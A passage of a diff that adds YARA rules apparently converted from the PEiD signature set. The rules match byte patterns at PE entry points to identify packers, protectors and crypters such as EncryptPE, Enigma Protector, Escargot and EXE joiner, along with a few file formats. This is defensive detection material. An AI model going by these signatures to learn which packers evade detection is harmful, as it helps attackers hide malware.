+        $a = {BF 00 40 40 00 99 68 48 20 40 00 68 00 20 40 00 52 52 52 52 52 52 52 57 E8 15 01 00 00 85 C0 75 1C 99 52 52 57 52 E8 CB 00 00 00 FF 35 4C 20 40 00 E8 D2 00 00 00 6A 00 E8 BF 00 00 00 99 68 58 20 40 00 52 52 68 63 10 40 00 52 52 E8 DB 00 00 00 6A FF FF 35 48 20 40 00 E8 C2 00 00 00 E8 C8 FF FF FF BF 40 40 40 00 FF 35 4C 20 40 00 E8 A1 00 00 00 8B 0F 83 F9 00 74 B1 60 6A 00 6A 04 6A 01 51 FF 35 48 20 40 00 E8 75 00 00 00 61 60 BB 5C 20 40 00 6A 00 6A 01 53 51 FF 35 48 20 40 00 E8 75 00 00 00 61 A0 5C 20 40 00 8A 5F 05 3A C3 74 14 FF 35 4C 20 40 00 E8 4B 00 00 00 6A 03 E8 4A 00 00 00 EB A2 60 8D 5F 04 6A 00 6A 01 53 51 FF 35 48 20 40 00 E8 4B 00 00 00 61 83 C7 06 FF 35 4C 20 40 00 E8 1E 00 00 00 6A 03 E8 1D 00 00 00 E9 72 FF FF FF FF 25 70 30 40 00 FF 25 78}
+    condition:
+        $a
+}
+
+rule PEiD_00506_E_language_
+{
+    meta:
+        description = "[E language]"
+        ep_only = "true"
+    strings:
+        $a = {E8 06 00 00 00 50 E8 ?? 01 00 00 55 8B EC 81 C4 F0 FE FF FF}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00507_E_S_O__Eclipse_Operating_System_v_2_08___DOS_Extender_
+{
+    meta:
+        description = "[E.S.O. Eclipse Operating System v.2.08 + DOS Extender]"
+        ep_only = "true"
+    strings:
+        $a = {8C C8 8E D8 BA ?? ?? E8 ?? ?? BB ?? ?? 8C C0 2B D8 B4 4A CD 21 BA ?? ?? 73 ?? E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00508_E2C_by_DoP_
+{
+    meta:
+        description = "[E2C by DoP]"
+        ep_only = "true"
+    strings:
+        $a = {BE ?? ?? BF ?? ?? B9 ?? ?? FC 57 F3 A5 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00509_EEXE_Version_1_12_
+{
+    meta:
+        description = "[EEXE Version 1.12]"
+        ep_only = "true"
+    strings:
+        $a = {B4 30 CD 21 3C 03 73 ?? BA 1F 00 0E 1F B4 09 CD 21 B8 FF 4C CD 21}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00510_Elicense_System_V4_0_0_0____ViaTech_Inc_
+{
+    meta:
+        description = "[Elicense System V4.0.0.0 -> ViaTech Inc]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 00 00 63 79 62 00 65 6C 69 63 65 6E 34 30 2E 64 6C 6C 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00511_Embed_PE_v1_13____cyclotron_
+{
+    meta:
+        description = "[Embed PE v1.13 -> cyclotron]"
+        ep_only = "true"
+    strings:
+        $a = {83 EC 50 60 68 5D B9 52 5A E8 2F 99 00 00 DC 99 F3 57 05 68}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00512_EmbedPE_1_13____cyclotron_
+{
+    meta:
+        description = "[EmbedPE 1.13 -> cyclotron]"
+        ep_only = "true"
+    strings:
+        $a = {83 EC 50 60 68 5D B9 52 5A E8 2F 99 00 00}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_00513_EmbedPE_1_13____cyclotron_
+{
+    meta:
+        description = "[EmbedPE 1.13 -> cyclotron]"
+        ep_only = "true"
+    strings:
+        $a = {83 EC 50 60 68 5D B9 52 5A E8 2F 99 00 00 DC 99 F3 57 05 68 B8 5E 2D C6 DA FD 48 63 05 3C 71 B8 5E 97 7C 36 7E 32 7C 08 4F 06 51 64 10 A3 F1 4E CF 25 CB 80 D2 99 54 46 ED E1 D3 46 86 2D 10 68 93 83 5C 46 4D 43 9B 8C D6 7C BB 99 69 97 71 2A 2F A3 38 6B 33}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00514_EmbedPE_1_13____cyclotron_
+{
+    meta:
+        description = "[EmbedPE 1.13 -> cyclotron]"
+        ep_only = "true"
+    strings:
+        $a = {83 EC 50 60 68 5D B9 52 5A E8 2F 99 00 00 DC 99 F3 57 05 68 B8 5E 2D C6 DA FD 48 63 05 3C 71 B8 5E 97 7C 36 7E 32 7C 08 4F 06 51 64 10 A3 F1 4E CF 25 CB 80 D2 99 54 46 ED E1 D3 46 86 2D 10 68 93 83 5C 46 4D 43 9B 8C D6 7C BB 99 69 97 71 2A 2F A3 38 6B 33 A3 F5 0B 85 97 7C BA 1D 96 DD 07 F8 FD D2 3A 98 83 CC 46 99 9D DF 6F 89 92 54 46 9F 94 43 CC 41 43 9B 8C 61 B9 D8 6F 96 3B D1 07 32 24 DD 07 05 8E CB 6F A1 07 5C 62 20 E0 DB BA 9D 83 54 46 E6 83 51 7A 2B 94 54 64 8A 83 05 68 D7 5E 2D C6 B7 57 00 B3 E8 3C 71 B8 3C 97 7C 36 19 32 7C 08 2A 06 51 64 73 A3 F1 4E 92 25 CB 80 8D 99 54 46 B0 E1 D3 46 A5 2D 10 68 B6 83 91 46 F2 DF 64 FD D1 BC CA AA 70 E2 AB 39 AE 3B 5A 6F 9B 15 BD 25 98 25 30 4C AD 7D 55 07 A8 A3 AC 0A C1 BD 54 72 BC 83 54 82 A3 97 B1 1A B3 83 54 46 83}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00515_EmbedPE_V1_00_V1_24____cyclotron___Sign_by_fly_
+{
+    meta:
+        description = "[EmbedPE V1.00-V1.24 -> cyclotron ! Sign by fly]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 00 00 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00516_EmbedPE_V1_00_V1_24____cyclotron_
+{
+    meta:
+        description = "[EmbedPE V1.00-V1.24 -> cyclotron]"
+        ep_only = "true"
+    strings:
+        $a = {00 00 00 00 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00517_EmbedPE_v1_24____cyclotron_
+{
+    meta:
+        description = "[EmbedPE v1.24 -> cyclotron]"
+        ep_only = "true"
+    strings:
+        $a = {83 EC 50 60 68 ?? ?? ?? ?? E8 CB FF 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00518_EmbedPE_V1_X____cyclotron_
+{
+    meta:
+        description = "[EmbedPE V1.X -> cyclotron]"
+        ep_only = "true"
+    strings:
+        $a = {83 EC 50 60 68 ?? ?? ?? ?? E8 ?? ?? 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00519_Encapsulated_Postscript_graphics_file_v2_0_EPSF_1_2_
+{
+    meta:
+        description = "[Encapsulated Postscript graphics file v2.0 EPSF-1.2]"
+        ep_only = "false"
+    strings:
+        $a = {25 21 50 53 2D 41 64 6F 62 65 2D 32 2E 30 20 45 50 53 46 2D 31 2E 32}
+    condition:
+        $a
+}
+
+rule PEiD_00520_Encapsulated_Postscript_graphics_file_v3_0_EPSF_3_0_
+{
+    meta:
+        description = "[Encapsulated Postscript graphics file v3.0 EPSF-3.0]"
+        ep_only = "false"
+    strings:
+        $a = {25 21 50 53 2D 41 64 6F 62 65 2D 33 2E 30 20 45 50 53 46 2D 33 2E 30}
+    condition:
+        $a
+}
+
+rule PEiD_00521_Encrypted_by__RSCC_286_v1_01_
+{
+    meta:
+        description = "[Encrypted by? RSCC/286 v1.01]"
+        ep_only = "false"
+    strings:
+        $a = {FE 52 53 43 43 2F 31 2E 30 31 FE}
+    condition:
+        $a
+}
+
+rule PEiD_00522_Encrypted_by__RSCC_286_v1_02_
+{
+    meta:
+        description = "[Encrypted by? RSCC/286 v1.02]"
+        ep_only = "false"
+    strings:
+        $a = {FE 52 53 43 43 2F 31 2E 30 32 FE}
+    condition:
+        $a
+}
+
+rule PEiD_00523_EncryptPE_1_2003_5_18____WFS_
+{
+    meta:
+        description = "[EncryptPE 1.2003.5.18 -> WFS]"
+        ep_only = "true"
+    strings:
+        $a = {60 9C 64 FF 35 00 00 00 00 E8 79}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00524_EncryptPE_2_2004_8_10___2_2005_3_14____WFS_
+{
+    meta:
+        description = "[EncryptPE 2.2004.8.10 - 2.2005.3.14 -> WFS]"
+        ep_only = "true"
+    strings:
+        $a = {60 9C 64 FF 35 00 00 00 00 E8 7A}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00525_EncryptPE_V1_2003_3_18_V1_2003_5_18____WFS_
+{
+    meta:
+        description = "[EncryptPE V1.2003.3.18-V1.2003.5.18 -> WFS]"
+        ep_only = "true"
+    strings:
+        $a = {60 9C 64 FF 35 00 00 00 00 E8 79 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00526_EncryptPE_V2_2004_6_16_V2_2006_6_30____WFS___Sign_by_fly_
+{
+    meta:
+        description = "[EncryptPE V2.2004.6.16-V2.2006.6.30 -> WFS ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {60 9C 64 FF 35 00 00 00 00 E8 7A 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00527_EncryptPE_V2_2004_6_16_V2_2006_6_30____WFS_
+{
+    meta:
+        description = "[EncryptPE V2.2004.6.16-V2.2006.6.30 -> WFS]"
+        ep_only = "true"
+    strings:
+        $a = {60 9C 64 FF 35 00 00 00 00 E8 73 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_00528_EncryptPE_V2_2006_1_15____WFS_
+{
+    meta:
+        description = "[EncryptPE V2.2006.1.15 -> WFS]"
+        ep_only = "false"
+    strings:
+        $a = {45 50 45 3A 20 45 6E 63 72 79 70 74 50 45 20 56 32 2E 32 30 30 36 2E 31 2E 31 35}
+    condition:
+        $a
+}
+
+rule PEiD_00529_EncryptPE_V2_2006_7_10____WFS_
+{
+    meta:
+        description = "[EncryptPE V2.2006.7.10 -> WFS]"
+        ep_only = "false"
+    strings:
+        $a = {60 9C 64 FF 35 00 00 00 00 E8 73 01 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00530_EncryptPE_V2_2006_7_10_V2_2007_04_11____WFS_
+{
+    meta:
+        description = "[EncryptPE V2.2006.7.10-V2.2007.04.11 -> WFS]"
+        ep_only = "true"
+    strings:
+        $a = {60 9C 64 FF 35 00 00 00 00 E8 1B 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00531_Enigma_protector_1_10__unregistered__
+{
+    meta:
+        description = "[Enigma protector 1.10 (unregistered)]"
+        ep_only = "false"
+    strings:
+        $a = {60 72 80 72 88 72 8C 72 90 72 94 72 98 72 9C 72 A0 72 A4 59 A8 B0 5C E8 39 D5 39 E4 39 F1 31 F9 5C 3D 58 CA 5F 56 B1 2D 20 7A 2E 30 16 32 72 2B 72 36 1C A5 33 A9 9C AD 9C B1 9C B5 9C B9 9C BD 9C C1 9C C5 9C C9 9C CD 9C D1 9C D5 9C D9 9C DD 9C E1 9C E5 89}
+    condition:
+        $a
+}
+
+rule PEiD_00532_Enigma_protector_1_10__unregistered__
+{
+    meta:
+        description = "[Enigma protector 1.10 (unregistered)]"
+        ep_only = "false"
+    strings:
+        $a = {60 72 80 72 88 72 8C 72 90 72 94 72 98 72 9C 72 A0 72 A4 59 A8 B0 5C E8 39 D5 39 E4 39 F1 31 F9 5C 3D 58 CA 5F 56 B1 2D 20 7A 2E 30 16 32 72 2B 72 36 1C A5 33 A9 9C AD 9C B1 9C B5 9C B9 9C BD 9C C1 9C C5 9C C9 9C CD 9C D1 9C D5 9C D9 9C DD 9C E1 9C E5 89 E9 51 0B C4 80 BC 7E 35 09 37 E7 C9 3D C9 45 C9 4D 74 92 BA E4 E9 24 6B DF 3E 0E 38 0C 49 10 27 80 51 A1 8E 3A A3 C8 AE 3B 1C 35}
+    condition:
+        $a
+}
+
+rule PEiD_00533_Enigma_Protector_1_1X_1_3X____Sukhov_Vladimir___Serge_N__Markin_
+{
+    meta:
+        description = "[Enigma Protector 1.1X-1.3X -> Sukhov Vladimir & Serge N. Markin]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 F0 B8 00 10 40 00 E8 01 00 00 00 9A 83 C4 10 8B E5 5D E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00534_Enigma_Protector_1_X____Sukhov_Vladimir___Serge_N__Markin_
+{
+    meta:
+        description = "[Enigma Protector 1.X -> Sukhov Vladimir & Serge N. Markin]"
+        ep_only = "true"
+    strings:
+        $a = {00 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 00 56 69 72 74 75 61 6C 46 72 65 65 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 45 78 69 74 50 72 6F 63 65 73 73 00 00 00 4C 6F 61}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00535_Enigma_Protector_1_X____Sukhov_Vladimir___Serge_N__Markin_
+{
+    meta:
+        description = "[Enigma Protector 1.X -> Sukhov Vladimir & Serge N. Markin]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 00 56 69 72 74 75 61 6C 46 72 65 65 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 45 78 69 74 50 72 6F 63 65 73 73 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 4D 65 73 73 61 67 65 42 6F 78 41 00 00 00 52 65 67 43 6C 6F 73 65 4B 65 79 00 00 00 53 79 73 46 72 65 65 53 74 72 69 6E 67 00 00 00 43 72 65 61 74 65 46 6F 6E 74 41 00 00 00 53 68 65 6C 6C 45 78 65 63 75 74 65 41 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00536_ENIGMA_Protector_V1_1____Sukhov_Vladimir_
+{
+    meta:
+        description = "[ENIGMA Protector V1.1 -> Sukhov Vladimir]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 83 ?? ?? 81}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00537_ENIGMA_Protector_V1_1_CracKed_By__shoooo___fly____Sukhov_Vladimir_
+{
+    meta:
+        description = "[ENIGMA Protector V1.1 CracKed By: shoooo & fly -> Sukhov Vladimir]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 83 C5 FA 81}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00538_ENIGMA_Protector_V1_1_V1_2____Sukhov_Vladimir_
+{
+    meta:
+        description = "[ENIGMA Protector V1.1-V1.2 -> Sukhov Vladimir]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 83 ED 06 81}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00539_ENIGMA_Protector_V1_X____Sukhov_Vladimir_
+{
+    meta:
+        description = "[ENIGMA Protector V1.X -> Sukhov Vladimir]"
+        ep_only = "false"
+    strings:
+        $a = {45 6E 69 67 6D 61 20 70 72 6F 74 65 63 74 6F 72 20 76 31}
+    condition:
+        $a
+}
+
+rule PEiD_00540_EP_1_0_
+{
+    meta:
+        description = "[EP 1.0]"
+        ep_only = "false"
+    strings:
+        $a = {50 83 C0 17 8B F0 97 33 C0 33 C9 B1 24 AC 86 C4 AC AA 86 C4 AA E2 F6 00 B8 40 00 03 00 3C 40 D2 33 8B 66 14 50 70 8B 8D 34 02 44 8B 18 10 48 70 03 BA 0C ?? ?? ?? ?? C0 33 FE 8B 30 AC 30 D0 C1 F0 10 C2 D0 30 F0 30 C2 C1 AA 10 42 42 CA C1 E2 04 5F E9 5E B1}
+    condition:
+        $a
+}
+
+rule PEiD_00541_EP_v1_0_
+{
+    meta:
+        description = "[EP v1.0]"
+        ep_only = "true"
+    strings:
+        $a = {50 83 C0 17 8B F0 97 33 C0 33 C9 B1 24 AC 86 C4 AC AA 86 C4 AA E2 F6 00 B8 40 00 03 00 3C 40 D2 33 8B 66 14 50 70 8B 8D 34 02 44 8B 18 10 48 70 03 BA 0C ?? ?? ?? ?? C0 33 FE 8B 30 AC 30 D0 C1 F0 10 C2 D0 30 F0 30 C2 C1 AA 10 42 42 CA C1 E2 04 5F E9 5E B1 C0 30 ?? 68 ?? ?? F3 00 C3 AA}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00542_EP_v2_0_
+{
+    meta:
+        description = "[EP v2.0]"
+        ep_only = "true"
+    strings:
+        $a = {6A ?? 60 E9 01 01}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00543_EPW_v1_2_
+{
+    meta:
+        description = "[EPW v1.2]"
+        ep_only = "true"
+    strings:
+        $a = {06 57 1E 56 55 52 51 53 50 2E ?? ?? ?? ?? 8C C0 05 ?? ?? 2E ?? ?? ?? 8E D8 A1 ?? ?? 2E}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00544_EPW_v1_30_
+{
+    meta:
+        description = "[EPW v1.30]"
+        ep_only = "true"
+    strings:
+        $a = {06 57 1E 56 55 52 51 53 50 2E 8C 06 08 00 8C C0 83 C0 10 2E}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00545_Erdas_LAN_GIS_Image_graphics_format_
+{
+    meta:
+        description = "[Erdas LAN/GIS Image graphics format]"
+        ep_only = "false"
+    strings:
+        $a = {48 45 41 44 37 34 00 00 03 00}
+    condition:
+        $a
+}
+
+rule PEiD_00546_Escargot_0_1__final_______Meat_
+{
+    meta:
+        description = "[Escargot 0.1 (final) -> ++Meat]"
+        ep_only = "true"
+    strings:
+        $a = {EB 04 40 30 2E 31 60 68 61 ?? ?? ?? 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 B8 92 ?? ?? ?? 8B 00 FF D0 50 B8 CD ?? ?? ?? 81 38 DE C0 37 13 75 2D 68 C9 ?? ?? ?? 6A 40 68 00 ?? 00 00 68 00 00 ?? ?? B8 96 ?? ?? ?? 8B 00 FF D0 8B 44 24 F0 8B 4C 24 F4 EB 05 49 C6 04 01 40 0B C9 75 F7 BE 00 10 ?? ?? B9 00 ?? ?? 00 EB 05 49 80 34 31 40 0B C9 75 F7 58 0B C0 74 08 33 C0 C7 00 DE C0 AD 0B BE ?? ?? ?? ?? E9 AC 00 00 00 8B 46 0C BB 00 00 ?? ?? 03 C3 50 50}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_00547_Escargot_0_1___by_ueMeat_
+{
+    meta:
+        description = "[Escargot 0.1 - by ueMeat]"
+        ep_only = "true"
+    strings:
+        $a = {EB 08 28 65 73 63 30 2E 31 29 60 68 2B ?? ?? ?? 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 B8 5C ?? ?? ?? 8B 00 FF D0 50 BE 00 10 ?? ?? B9 00 ?? ?? 00 EB 05 49 80 34 31 40 0B C9 75 F7 58 0B C0 74 08 33 C0 C7 00 DE C0 AD 0B BE ?? ?? ?? ?? E9 AC 00 00 00 8B}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00548_Escargot_0_1___by_ueMeat_
+{
+    meta:
+        description = "[Escargot 0.1 - by ueMeat]"
+        ep_only = "false"
+    strings:
+        $a = {EB 08 28 65 73 63 30 2E 31 29 60 68 2B ?? ?? ?? 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 B8 5C ?? ?? ?? 8B 00 FF D0 50 BE 00 10 ?? ?? B9 00 ?? ?? 00 EB 05 49 80 34 31 40 0B C9 75 F7 58 0B C0 74 08 33 C0 C7 00 DE C0 AD 0B BE ?? ?? ?? ?? E9 AC 00 00 00 8B 46 0C BB 00 00 ?? ?? 03 C3 50 50 B8 54 ?? ?? ?? 8B 00 FF D0 5F 80 3F 00 74 06 C6 07 00 47 EB F5 33 FF 8B 16 0B D2 75 03 8B 56 10 03 D3 03 D7 8B 0A C7 02 00 00 00 00 0B C9 74 4B F7 C1 00 00 00 80 74 14 81 E1 FF FF 00 00 50 51 50 B8 50}
+    condition:
+        $a
+}
+
+rule PEiD_00549_Escargot_V0_1______Meat_
+{
+    meta:
+        description = "[Escargot V0.1 -> ++Meat]"
+        ep_only = "true"
+    strings:
+        $a = {EB 04 40 30 2E 31 60 68 61}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00550_Exact_Audio_Copy_____UnknownCompiler__
+{
+    meta:
+        description = "[Exact Audio Copy -> (UnknownCompiler)]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? ?? 00 31 ED 55 89 E5 81 EC ?? 00 00 00 8D BD ?? FF FF FF B9 ?? 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00551_Exact_Audio_Copy_
+{
+    meta:
+        description = "[Exact Audio Copy]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? ?? 00 31 ED 55 89 E5 81 EC ?? 00 00 00 8D BD ?? FF FF FF B9 ?? 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00552_Excalibur_1_03____forgot_
+{
+    meta:
+        description = "[Excalibur 1.03 -> forgot]"
+        ep_only = "true"
+    strings:
+        $a = {E9 00 00 00 00 60 E8 14 00 00 00 5D 81 ED 00 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00553_Excalibur_V1_03____forgot___Sign_by_fly_
+{
+    meta:
+        description = "[Excalibur V1.03 -> forgot ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {E9 00 00 00 00 60 E8 14 00 00 00 5D 81 ED 00 00 00 00 6A 45 E8 A3 00 00 00 68 00 00 00 00 E8 58 61 EB 39}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00554_eXcalibur_v1_03____forgot_us__h__
+{
+    meta:
+        description = "[eXcalibur v1.03 -> forgot/us (h)]"
+        ep_only = "false"
+    strings:
+        $a = {E9 00 00 00 00 60 E8 14 00 00 00 5D 81 ED 00 00 00 00 6A 45 E8 A3 00 00 00 68 00 00 00 00 E8 58 61 EB 39 20 45 78 63 61 6C 69 62 75 72 20 28 63 29 20 62 79 20 66 6F 72 67 6F 74 2F 75 53 2F 44 46 43 47 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20}
+    condition:
+        $a
+}
+
+rule PEiD_00555_eXcalibur_v1_03____forgot_us__h__
+{
+    meta:
+        description = "[eXcalibur v1.03 -> forgot/us (h)]"
+        ep_only = "true"
+    strings:
+        $a = {E9 00 00 00 00 60 E8 14 00 00 00 5D 81 ED 00 00 00 00 6A 45 E8 A3 00 00 00 68 00 00 00 00 E8 58 61 EB 39 20 45 78 63 61 6C 69 62 75 72 20 28 63 29 20 62 79 20 66 6F 72 67 6F 74 2F 75 53 2F 44 46 43 47 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0D 0A 60 9C 9C 6A 63 73 0B EB 02 E8 E8 E8 06 00 00 00 E8 E8 73 F7 E8 E8 83 C4 04 EB 02 E8 E8 FF 0C 24 71 01 E8 79 E0 7A 01 E8 83 C4 04 9D EB 01 E8 E8 01 00 00 00 E9 5D 81 ED AE 28 40 00 9C 6A 63 73 0B EB 02 69 69 E8 06 00 00 00 69 69 73 F7 69 69 83 C4 04 EB 02 69 69 FF 0C 24 71 01 69 79 E0 7A 01 69 83 C4 04 9D EB 01 69 E8 E7 02 00 00 E8 9C 6A 63 73 0B EB 02 69 69 E8 06 00 00 00 69 69 73 F7 69 69 83 C4 04 EB 02 69 69 FF 0C 24 71 01 69 79 E0 7A 01 69 83 C4 04 9D EB 01 69 E8 B4 02 00 00 E8 60 E8}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00556_Exe_Guarder_1_8____Exeicon_com__h__
+{
+    meta:
+        description = "[Exe Guarder 1.8 -> Exeicon.com (h)]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 83 C4 D0 53 56 57 8D 75 FC 8B 44 24 30 25 00 00 FF FF 81 38 4D 5A 90 00 74 07 2D 00 10 00 00 EB F1 89 45 FC E8 C8 FF FF FF 2D B2 04 00 00 89 45 F4 8B 06 8B 40 3C 03 06 8B 40 78 03 06 8B C8 8B 51 20 03 16 8B 59 24 03 1E 89 5D F0 8B 59 1C 03 1E 89}
+    condition:
+        $a
+}
+
+rule PEiD_00557_Exe_Guarder_v1_8____Exeicon_com__h__
+{
+    meta:
+        description = "[Exe Guarder v1.8 -> Exeicon.com (h)]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 D0 53 56 57 8D 75 FC 8B 44 24 30 25 00 00 FF FF 81 38 4D 5A 90 00 74 07 2D 00 10 00 00 EB F1 89 45 FC E8 C8 FF FF FF 2D B2 04 00 00 89 45 F4 8B 06 8B 40 3C 03 06 8B 40 78 03 06 8B C8 8B 51 20 03 16 8B 59 24 03 1E 89 5D F0 8B 59 1C 03 1E 89 5D EC 8B 41 18 8B C8 49 85 C9 72 5A 41 33 C0 8B D8 C1 E3 02 03 DA 8B 3B 03 3E 81 3F 47 65 74 50 75 40 8B DF 83 C3 04 81 3B 72 6F 63 41 75 33 8B DF 83 C3 08 81 3B 64 64 72 65 75 26 83 C7 0C 66 81 3F 73 73 75 1C 8B D0 03 D2 03 55 F0 0F B7 12 C1 E2 02 03 55 EC 8B 12 03 16 8B 4D F4 89 51 08 EB 04 40 49 75 A9 8B 5D F4 8D 83 A1 00 00 00 50 8B 06 50 FF 53 08 89 43 0C 8D 83 AE 00 00 00 50 8B 06 50 FF 53 08 89 43 10 8D 83 BA 00 00 00 50 8B 06 50 FF 53 08 89 43 14 8D 83 C6 00 00 00 50 8B 06 50 FF 53 08 89 43 18 8D 83 D7 00 00 00 50 8B 06 50 FF 53 08 89 43 1C 8D 83 E0 00 00 00 50 8B 06 50 FF 53 08}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00558_EXE_joiner____Amok_
+{
+    meta:
+        description = "[EXE joiner -> Amok]"
+        ep_only = "true"
+    strings:
+        $a = {A1 14 A1 40 00 C1 E0 02 A3 18 A1 40}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00559_Exe_Locker_1_0____IonIce_
+{
+    meta:
+        description = "[Exe Locker 1.0 -> IonIce]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 00 00 60 8B 6C 24 20 81 ED 05 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00560_Exe_Locker_v1_0____IonIce_
+{
+    meta:
+        description = "[Exe Locker v1.0 -> IonIce]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 00 00 60 8B 6C 24 20 81 ED 05 00 00 00 3E 8F 85 6C 00 00 00 3E 8F 85 68 00 00 00 3E 8F 85 64 00 00 00 3E 8F 85 60 00 00 00 3E 8F 85 5C 00 00 00 3E 8F 85 58 00 00 00 3E 8F 85 54 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00561_EXE_Manager_Version_3_0_1994__c__Solar_Designer_
+{
+    meta:
+        description = "[EXE Manager Version 3.0 1994 (c) Solar Designer]"
+        ep_only = "true"
+    strings:
+        $a = {B4 30 1E 06 CD 21 2E ?? ?? ?? BF ?? ?? B9 ?? ?? 33 C0 2E ?? ?? 47 E2}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00562_EXE_Packer_v7_0_by_TurboPower_Software_
+{
+    meta:
+        description = "[EXE Packer v7.0 by TurboPower Software]"
+        ep_only = "true"
+    strings:
+        $a = {1E 06 8C C3 83 ?? ?? 2E ?? ?? ?? ?? B9 ?? ?? 8C C8 8E D8 8B F1 4E 8B FE}
+    condition:
